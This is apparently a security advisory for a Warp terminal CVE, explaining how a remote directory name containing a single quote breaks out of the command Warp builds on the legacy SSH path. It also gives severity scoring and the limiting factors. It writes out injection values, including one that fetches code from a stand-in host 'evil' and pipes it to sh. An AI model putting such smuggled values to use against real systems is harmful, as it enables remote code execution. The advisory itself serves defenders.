Warp CVE-2026-48732

Exploitation requires the victim to use Warp's legacy SSH background command path for remote metadata collection against a host where the attacker controls the reported remote working directory, repository, or directory name, and that name must contain shell-breakout characters such as a single quote (e.g. /tmp/x'; touch /tmp/marker; echo '). The victim must initiate or maintain the SSH session (CVSS UI:R), and the affected Warp version must be in the range 0.2023.03.21.08.02.stable_00 through anything before 0.2026.05.06.15.42.stable_01. Limiting factors that reduce realistic risk: it only triggers on the legacy SSH path (not local-only use), it depends on attacker influence over remote-side naming, the injected command runs only with the victim's existing SSH privileges on that remote host, and it is not automatable without victim-driven connection.

The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H yields 8.8 (High): network reachable, low complexity, no attacker privileges, but user interaction is required because the victim must connect Warp to a remote host whose directory/repo names the attacker influences. There is an important nuance the raw score hides - the injected command executes on the remote host as the victim's already-authenticated SSH account, so the practical impact is privilege misuse/lateral movement within sessions the victim was already entering, not a fresh foothold on the victim's local workstation; security teams should weigh that scoping. No EPSS or KEV data was provided, and no public exploit was identified, so this is a real-but-conditional priority rather than mass-exploitation: it requires the victim to operate the legacy SSH path against an attacker-controlled or compromised host. SSVC framing: exploitation = none observed, automatable = no (requires victim-initiated SSH connection), technical impact = total on the targeted remote account.

An attacker who controls a remote host (or can influence directory/repository names on a host the victim accesses) names a working directory something like /tmp/x'; curl http://evil/x | sh; echo '. When the victim opens or operates an SSH-backed Warp session and Warp collects metadata, it builds cd '<dir>' && ... / cat <histfile>, the embedded quote breaks out, and the injected commands execute as the victim's authenticated SSH account on that host. No public PoC is identified, but the fix commit's regression tests show the precise breakout primitive.